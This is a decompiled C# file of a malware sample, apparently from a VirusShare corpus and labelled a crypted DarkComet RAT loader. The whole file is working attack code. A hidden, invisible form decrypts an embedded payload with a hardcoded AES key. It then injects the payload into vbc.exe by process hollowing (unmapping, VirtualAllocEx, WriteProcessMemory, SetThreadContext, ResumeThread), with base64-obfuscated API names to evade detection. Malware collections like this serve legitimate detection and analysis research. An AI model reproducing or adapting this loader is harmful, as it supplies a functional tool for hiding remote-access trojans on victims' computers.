// Decompiled with JetBrains decompiler
// Type: Program.Main
// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3F71572C-D491-46DB-83BE-2910DD358446
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;

namespace Program
{
  public class Main : Form
  {
    private IContainer Components;

    [STAThread]
    public static void Main() => Application.Run((Form) new Program.Main());

    public Main()
    {
      this.Load += new EventHandler(this.Main_Load);
      Application.EnableVisualStyles();
      this.InitializeComponent();
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(1, 1);
      this.Opacity = 0.0;
      this.ShowInTaskbar = false;
      this.Name = nameof (Main);
      this.Text = nameof (Main);
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    protected override void Dispose(bool Disposing)
    {
      if (Disposing && this.Components != null)
        this.Components.Dispose();
      base.Dispose(Disposing);
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
    }

    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

    public T qmbCySaFgF3QdbZfQ3f<T>(string name, string method) => (T) Marshal.GetDelegateForFunctionPointer(Program.Main.GetProcAddress(Program.Main.LoadLibraryA(ref name), ref method), typeof (T));

    public bool qPlSspDxuvlKZtMdLI5H(byte[] qNBbU4pyYLsqEEtxsgB, string qyTXNawV4AASwOaE8C5tj)
    {
      Program.Main.qeRGrPG6FO6sNxC1A2Nt rgrPg6Fo6sNxC1A2Nt = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qeRGrPG6FO6sNxC1A2Nt>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("Q3JlYXRlUHJvY2Vzc0E=")));
      Program.Main.qnoqD6OCdUr6pbBRYB4 qnoqD6OcdUr6pbBryB4 = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qnoqD6OCdUr6pbBRYB4>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("R2V0VGhyZWFkQ29udGV4dA==")));
      Program.Main.qeqwAQwTLag2kzc1pf qeqwAqwTlag2kzc1pf = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qeqwAQwTLag2kzc1pf>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVhZFByb2Nlc3NNZW1vcnk=")));
      Program.Main.qCHU691iadVICUdTjNN u691iadVicUdTjNn = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qCHU691iadVICUdTjNN>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("VmlydHVhbEFsbG9jRXg=")));
      Program.Main.qyjVouAVNRcoDrVPv qyjVouAvnRcoDrVpv = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qyjVouAVNRcoDrVPv>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("V3JpdGVQcm9jZXNzTWVtb3J5")));
      Program.Main.qDQPdIGhXPEgba2kk dqPdIghXpEgba2kk = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qDQPdIGhXPEgba2kk>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")));
      Program.Main.qCzqpRjBKsbJGCBUezGZ czqpRjBksbJgcbUezGz = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qCzqpRjBKsbJGCBUezGZ>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")));
      Program.Main.qI3gkn6v5InqjRMbB i3gkn6v5InqjRmbB = this.qmbCySaFgF3QdbZfQ3f<Program.Main.qI3gkn6v5InqjRMbB>(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")));
      bool flag;
      try
      {
        IntPtr zero1 = IntPtr.Zero;
        IntPtr[] qbJTLHORDTYnKbVMJoa = new IntPtr[4];
        byte[] qhkXStrCpm2qZ32t7J = new byte[68];
        int int32_1 = BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, 60);
        int int16 = (int) BitConverter.ToInt16(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 6));
        IntPtr qrSyJq1jfoCUtXZym24 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 84)));
        if (rgrPg6Fo6sNxC1A2Nt((string) null, new StringBuilder(qyTXNawV4AASwOaE8C5tj), zero1, zero1, false, 4, zero1, (string) null, qhkXStrCpm2qZ32t7J, qbJTLHORDTYnKbVMJoa))
        {
          uint[] numArray1 = new uint[179];
          numArray1[0] = 65538U;
          if (qnoqD6OcdUr6pbBryB4(qbJTLHORDTYnKbVMJoa[1], numArray1))
          {
            IntPtr qjzv48ZZdYcJYAaWhJTb1 = new IntPtr(checked ((long) numArray1[41] + 8L));
            IntPtr zero2 = IntPtr.Zero;
            IntPtr qT1mOUpEYR7NLzOGjEJ = new IntPtr(4);
            IntPtr zero3 = IntPtr.Zero;
            if (qeqwAqwTlag2kzc1pf(qbJTLHORDTYnKbVMJoa[0], qjzv48ZZdYcJYAaWhJTb1, ref zero2, (int) qT1mOUpEYR7NLzOGjEJ, ref zero3) && i3gkn6v5InqjRmbB(qbJTLHORDTYnKbVMJoa[0], zero2) == 0U)
            {
              IntPtr num1 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 52)));
              IntPtr num2 = new IntPtr(BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 80)));
              IntPtr qHvTGYnmxKeylCh5fT5uI = u691iadVicUdTjNn(qbJTLHORDTYnKbVMJoa[0], num1, num2, 12288, 64);
              int int32_2 = qHvTGYnmxKeylCh5fT5uI.ToInt32();
              int qM9i6M2sRLy8WVcOT16;
              int num3 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], qHvTGYnmxKeylCh5fT5uI, qNBbU4pyYLsqEEtxsgB, checked ((uint) (int) qrSyJq1jfoCUtXZym24), qM9i6M2sRLy8WVcOT16) ? 1 : 0;
              int num4 = checked (int16 - 1);
              int num5 = 0;
              while (num5 <= num4)
              {
                int[] dst = new int[10];
                Buffer.BlockCopy((Array) qNBbU4pyYLsqEEtxsgB, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40);
                byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)];
                Buffer.BlockCopy((Array) qNBbU4pyYLsqEEtxsgB, dst[5], (Array) numArray2, 0, numArray2.Length);
                num2 = new IntPtr(checked (int32_2 + dst[3]));
                num1 = new IntPtr(numArray2.Length);
                int num6 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], num2, numArray2, checked ((uint) (int) num1), qM9i6M2sRLy8WVcOT16) ? 1 : 0;
                checked { ++num5; }
              }
              num2 = new IntPtr(checked ((long) numArray1[41] + 8L));
              num1 = new IntPtr(4);
              int num7 = qyjVouAvnRcoDrVpv(qbJTLHORDTYnKbVMJoa[0], num2, BitConverter.GetBytes(qHvTGYnmxKeylCh5fT5uI.ToInt32()), checked ((uint) (int) num1), qM9i6M2sRLy8WVcOT16) ? 1 : 0;
              numArray1[44] = checked ((uint) (qHvTGYnmxKeylCh5fT5uI.ToInt32() + BitConverter.ToInt32(qNBbU4pyYLsqEEtxsgB, int32_1 + 40)));
              int num8 = dqPdIghXpEgba2kk(qbJTLHORDTYnKbVMJoa[1], numArray1) ? 1 : 0;
            }
          }
          int num = (int) czqpRjBksbJgcbUezGz(qbJTLHORDTYnKbVMJoa[1]);
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        flag = false;
        ProjectData.ClearProjectError();
        goto label_11;
      }
      flag = true;
label_11:
      return flag;
    }

    private void Main_Load(object sender, EventArgs e)
    {
      RuntimeHelpers.GetObjectValue(My.Resources.Resources.ResourceManager.GetObject("glavni"));
      this.qPlSspDxuvlKZtMdLI5H(this.q14MA2HFozsRlbG58L(My.Resources.Resources.glavni), Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2Mi4wLjUwNzI3XHZiYy5leGU=")));
      this.Close();
    }

    public byte[] q14MA2HFozsRlbG58L(byte[] qNl84JvwbqNKw4jJmV)
    {
      using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
      {
        rijndaelManaged.IV = new byte[16]
        {
          (byte) 9,
          (byte) 250,
          (byte) 129,
          (byte) 35,
          (byte) 196,
          (byte) 143,
          (byte) 210,
          (byte) 122,
          (byte) 213,
          (byte) 4,
          (byte) 141,
          (byte) 47,
          (byte) 82,
          (byte) 54,
          (byte) 124,
          (byte) 86
        };
        rijndaelManaged.Key = new byte[16]
        {
          (byte) 86,
          (byte) 124,
          (byte) 54,
          (byte) 82,
          (byte) 47,
          (byte) 141,
          (byte) 4,
          (byte) 213,
          (byte) 122,
          (byte) 210,
          (byte) 143,
          (byte) 196,
          (byte) 35,
          (byte) 129,
          (byte) 250,
          (byte) 9
        };
        return rijndaelManaged.CreateDecryptor().TransformFinalBlock(qNl84JvwbqNKw4jJmV, 0, qNl84JvwbqNKw4jJmV.Length);
      }
    }

    [return: MarshalAs(UnmanagedType.Bool)]
    public delegate bool qeRGrPG6FO6sNxC1A2Nt(
      string qJ4vL92xJyzmEBdgnsn,
      StringBuilder qsba7IfHDHQOZONQbHS,
      IntPtr qSQpNyYduvV5Hly5h,
      IntPtr qU6NZyhFhXPMDbBOC,
      [MarshalAs(UnmanagedType.Bool)] bool qCtwO1dxilNXXhsFP,
      int qMLVFlsTOOacE88c3j,
      IntPtr qMfOHLRbqm3TTbdru8M,
      string qnE3Uqle9Fx1n19FBcKa9,
      byte[] qhkXStrCpm2qZ32t7J,
      IntPtr[] qbJTLHORDTYnKbVMJoa);

    public delegate bool qyjVouAVNRcoDrVPv(
      IntPtr qyjcy6E7wYyarEr9w91r,
      IntPtr qHvTGYnmxKeylCh5fT5uI,
      byte[] qjTPa3nkn2aiBe66XJP,
      uint qrSyJq1jfoCUtXZym24,
      int qM9i6M2sRLy8WVcOT16);

    [return: MarshalAs(UnmanagedType.Bool)]
    public delegate bool qeqwAQwTLag2kzc1pf(
      IntPtr qUVaMfFhfiyix4qaEfP,
      IntPtr qjzv48ZZdYcJYAaWhJTb1,
      ref IntPtr qKmzQjxi1xsDIrinp2dyJ,
      int qT1mOUpEYR7NLzOGjEJ,
      ref IntPtr qncmptdUrezBlraWd);

    public delegate IntPtr qCHU691iadVICUdTjNN(
      IntPtr qyZXtgWsPwjydDkNUuUNU,
      IntPtr qz9nSuWkMNHjhjkts6ZVb,
      IntPtr qhzjkH5IjNxUPegZcE,
      int q93LsAe6c9XcpwwoE,
      int q4oymULPqxYHgrONRbBRS);

    public delegate uint qI3gkn6v5InqjRMbB(
      IntPtr qFoWGTfKAGvsIrg9I3SO,
      IntPtr qCRHftU7DfXnGw1TFMowb);

    public delegate uint qCzqpRjBKsbJGCBUezGZ(IntPtr qH2YaFuMgVN7OL2mTik);

    [return: MarshalAs(UnmanagedType.Bool)]
    public delegate bool qnoqD6OCdUr6pbBRYB4(IntPtr q45ghMgWM37iOMFoV, uint[] qVZSdiWIwXKTdGdL3N);

    [return: MarshalAs(UnmanagedType.Bool)]
    public delegate bool qDQPdIGhXPEgba2kk(IntPtr qzKcv9umGGGCIFvuA, uint[] q7wYhO4jvPTldbB62vu);
  }
}
